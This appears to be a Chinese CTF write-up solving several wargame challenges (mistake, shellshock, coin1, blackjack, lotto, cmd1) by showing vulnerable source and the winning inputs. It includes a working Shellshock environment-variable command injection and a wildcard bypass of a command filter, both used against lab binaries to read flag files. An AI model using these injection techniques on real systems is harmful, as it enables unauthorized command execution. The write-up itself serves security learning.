以下是solution的目录
Other
#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0;} |
---|
题目的hint说符号的优先级:
We all make mistakes, let’s move on. (don’t take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority
注意到这里
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0;} |
---|
因为=的优先级小于<,所以
fd=open("/home/mistake/password",O_RDONLY,0400) < 0 |
---|
的执行顺序应该是这样的
fd = (open("/home/mistake/password",O_RDONLY,0400) < 0) |
---|
然而
open("/home/mistake/password",O_RDONLY,0400) < 0 |
---|
为假,所以
= 0```为标准输入,剩下的流程就很简单了。
```bashmistake@ubuntu:~$ ./mistake do not bruteforce...0000000000input password : 1111111111Password OKMommy, the operator priority always confuses me :( |
---|
#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;} |
---|
题目提示破壳漏洞,直接测试一下。
shellshock@ubuntu:~$ env foo='() { :;}; echo vul' ./bash -c 'echo yes'vulyes |
---|
存在漏洞,直接丢来exploit
shellshock@ubuntu:~$ env foo='() { :;}; /bin/cat flag' ./shellshockonly if I knew CVE-2014-6271 ten years ago..!!Segmentation fault |
---|
一个小游戏,查找一堆硬币中假的那个,30s内要完成100次。
---------------------------------------------------- Shall we play a game? ----------------------------------------------------You have given some gold coins in your handhowever, there is one counterfeit coin among themcounterfeit coin looks exactly same as real coinhowever, its weight is different from real onereal coin weighs 10, counterfeit coin weighes 9help me to find the counterfeit coin with a scaleif you find 100 counterfeit coins, you will get reward :)FYI, you have 30 seconds.- How to play - 1. you get a number of coins (N) and number of chances (C)2. then you specify a set of index numbers of coins to be weighed3. you get the weight information4. 2~3 repeats C time, then you give the answer- Example -[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial[Client] 0 1 # weigh first and second coin[Server] 20 # scale result : 20[Client] 3 # weigh fourth coin[Server] 10 # scale result : 10[Client] 2 # counterfeit coin is third![Server] Correct!- Ready? starting in 3 sec... - |
---|
其实就是一个二分查找,然而因为网络原因跑30次就超时了,于是丢到对方服务器上跑。
from pwn import *import re, sysio = remote("127.0.0.1", 9007)io.recv()def get_coin_chance(): try: ret = io.recv() pattern = re.compile("N=(\d+)\sC=(\d+)") res = pattern.search(ret).groups() log.success("N=[%d], C=[%d]" % (int(res[0]), int(res[1]))) except: log.success("Flag => [%s]" % ret) return int(res[0]), int(res[1])def have_fake(nums): ret = int(io.recv()) log.success("Num => [%d] Weight => [%d]" % (nums, ret)) if ret % 10 == 0 and ret/10 == nums: log.info("No Error find next") return 0 else: log.warning("Find Error") return 1def send_coin(base, top): c = "" for x in range(base, top+1): c += (str(x - 1) + " ") log.info("Send Coins => [%s]" % c.strip()) io.sendline(c.strip())def check(low, high, chance): mid = (high + low) / 2 nums = mid - low + 1 send_coin(low, mid) if chance == 0: print io.recv() return #coins, chance = get_coin_chance() #check(1, coins, chance) log.warning("low=>[%d] mid=>[%d] high=>[%d]"%(low,mid,high)) if have_fake(nums): check(low, mid, chance-1) else: check(mid+1, high, chance-1)if __name__ == "__main__": while True: coins, chance = get_coin_chance() check(1, coins, chance) |
---|
跑出来的结果如下。
[+] Num => [1] Weight => [9][!] Find Error[*] Send Coins => [402]Correct! (99)[+] Flag => [Congrats! get your flag b1NaRy_S34rch1nG_1s_3asy_p3asy ] |
---|
这个游戏是个21点的游戏,初始给你$500,赢到$1000000就给出flag。但是,这种想直接玩下去估计得明年了。
不过题目中给了源代码的连接,http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
只能从源代码中找漏洞。
int betting() //Asks user amount to bet{ printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Function |
---|
看了下注的代码后,发现一个漏洞,可以下任意大小的筹码(不要溢出了= =)。然后只要赢一次就好了。
YaY_I_AM_A_MILLIONARE_LOLCash: $100000500-------|D || 1 || D|-------Your Total is 1The Dealer Has a Total of 10Enter Bet: $ |
---|
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>unsigned char submit[6];void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); }}void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n");}int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0;} |
---|
只需要让match == 6即可
这一句是将ascii转换到ascii 1-45之间
for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45} |
---|
这块正是漏洞所在,
for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } }} |
---|
无法控制lotto的值,可以控制submit的值,但是submit可以相同。所以就暴力破解。
Submit your 6 lotto bytes : !!!!!!Lotto Start!sorry mom... I FORGOT to check duplicate numbers... :(- Select Menu -1. Play Lotto2. Help3. Exit |
---|
#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r;}int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0;} |
---|
可以看出,system的参数过滤了flag,sh,tmp。不过linux可以使用通配符flag换成f*即可。
cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*"mommy now I get what PATH environment is for :) |
---|